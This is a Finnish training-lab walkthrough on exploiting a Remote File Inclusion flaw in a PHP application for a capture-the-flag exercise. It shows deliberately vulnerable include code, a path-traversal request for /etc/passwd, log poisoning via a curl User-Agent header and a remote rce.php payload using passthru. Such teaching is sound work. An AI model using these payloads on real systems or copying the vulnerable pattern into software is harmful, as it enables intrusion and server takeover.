LFI / RFI

RFI-haavoittuvuus PHP-sovelluksessa

Keskitaso
20 min

Tässä harjoituksessa todennamme RFI-haavoittuvuuden (Remote File Inclusion) kohde sovelluksessa ja hyödynnämme tätä suorittamalla omaa PHP-koodia sovelluksessa. Remote File Inclusion haavoittuvuus on hyvin samanlainen kuin edellisessä moduulissa käsitelty LFI-haavoittuvuus, mutta siinä on se ero, että RFI-haavoittuvuuksissa voimme sisällyttää sivulle PHP-koodia, joka sijaitsee aivan toisessa osoitteessa. Voimme siis tarjoilla omaa PHP-koodia, jonka sovellus sitten suorittaa. Kyseinen haavoittuvuus on huomattavasti harvinaisempi, varsinkin nykypäivänä, mutta myös huomattavasti helpompi hyökkääjän näkökulmasta.

Aloita käynnistämällä alla oleva tehtävä ja suorita vaiheet omassa tahdissasi. Alla myös sovelluksen lähdekoodi, jossa haavoittuvuus sijaitsee.

RFI-haavoittuvuus PHP-sovelluksessa

Hyödynnä haavoittuvuutta ja ota palvelin hallintaasi.

Tavoite

Ota palvelin hallintaasi ja lue lippu.

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Mythical Encyclopedia</title>
</head>
<body>
    <?php
    if (!isset($_GET["country"])) {
      include("languages.php"); 
    }
    else {
      echo "<h1>Mythical Encyclopedia</h1>";
    }

    if (isset($_GET["country"])) {
      $country = $_GET["country"];
      if ($country == "us") {
        $file = "./us.php"; 
      }
      else if ($country == "fr") {
        $file = "./fr.php"; 
      }
      else if ($country == "fi") {
        $file = "./fi.php"; 
      }
      else {
        $file = $country; 
      }
      include($file);
    }

    ?>
</body>
</html>

Haavoittuvuuden todentaminen

Tämän tehtävän lähdekoodi on melkein sama kuin edellisen, sillä erolla, että tässä tehtävässä, else lausekkeessa emme aseta ./ merkkejä. Labra on myös konfiguroitu sallimaan ulkoiset osoitteet, kun käytetään include-funktiota. Jos kokeilet samaa lähestymistapaa edellisessä tehtävässä, huomaat, ettei ulkoisten osoitteiden käyttäminen ole mahdollista.

Aloitetaan todentamalla, että sama haavoittuvuus löytyy tästäkin sovelluksesta suorittamalla seuraavanlainen kysely.

https://www-xjmryxay62.ha-target.com/index.php?country=../../../../etc/passwd

Hienoa! - Pystymme sisällyttämään minkä tahansa järjestelmässä olevan tiedoston ja lukemaan sen sivulla. Jatketaan seuraavaksi suorittamalla saman LFI hyökkäyksen kuin edellisessä moduulissa. Asetetaan access.log -tiedostoon seuraava PHP-koodi ja sisällytetään kyseinen tiedosto.

PHP-koodi

<?php phpinfo(); ?>

Curl-komento, jolla voi nopeasti injektoida haluamme php-koodi palvelin-lokiin

curl -H "User-Agent: <?php phpinfo(); ?>" https://*.ha-target.com/

Lopuksi sisällytämme access.log tiedoston

phpinfo - funktio palauttaa meille onnistuneesti kyseisen palvelin-instanssin PHP-konfiguraatiot. Tämän avulla voimme tarkastalle, että miten järjestelmän on konfiguroitu ja onkin erittäin hyödyllinen, kun testataan PHP-sovelluksia. Kun on kyse RFI-haavoittuvuuksista, vaatii tämä erityistä konfigurointia järjestelmässä, että voimme sisällyttää PHP-koodia käyttämällä ulkoisia palveluita. Tarkemmin sanottuna, jos haluaa käyttää include - funktiossa URL-osoitteita, vaatii tämä, että konfiguraatio allow_url_include on otettu käyttöön. Tässä tapauksessa tämä pitää paikkansa. Tämä ei kuitenkaan nykyään ole oletuksena päällä.


Haavoittuvuuden hyödyntäminen

Koska voimme syöttää include - funktiolle URL-osoitteita, voimme suorittaa RFI-hyökkäyksen seuraavalla tavalla. Luodaan ensin hyökkääjän terminaalissa tiedosto rce.php ja tallennetaan siihen seuraava PHP-koodi.

<?php echo passthru('id'); ?>

Käynnistetään sitten oma web palvelin, jonka kautta voimme tarjoilla kyseistä tiedostoa. Näin kohde-palvelin kykenee lataamaan tiedoston. (Muista tarkistaa oma IP-osoitteesi)

Lopuksi sisällytämme rce.php tiedoston seuraavalla tavalla.

Voimme nyt lukea lipun /flag.txt. Voit itsenäisesti yrittää luoda interaktiivisen komentoriviyhteyden palvelimelle.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.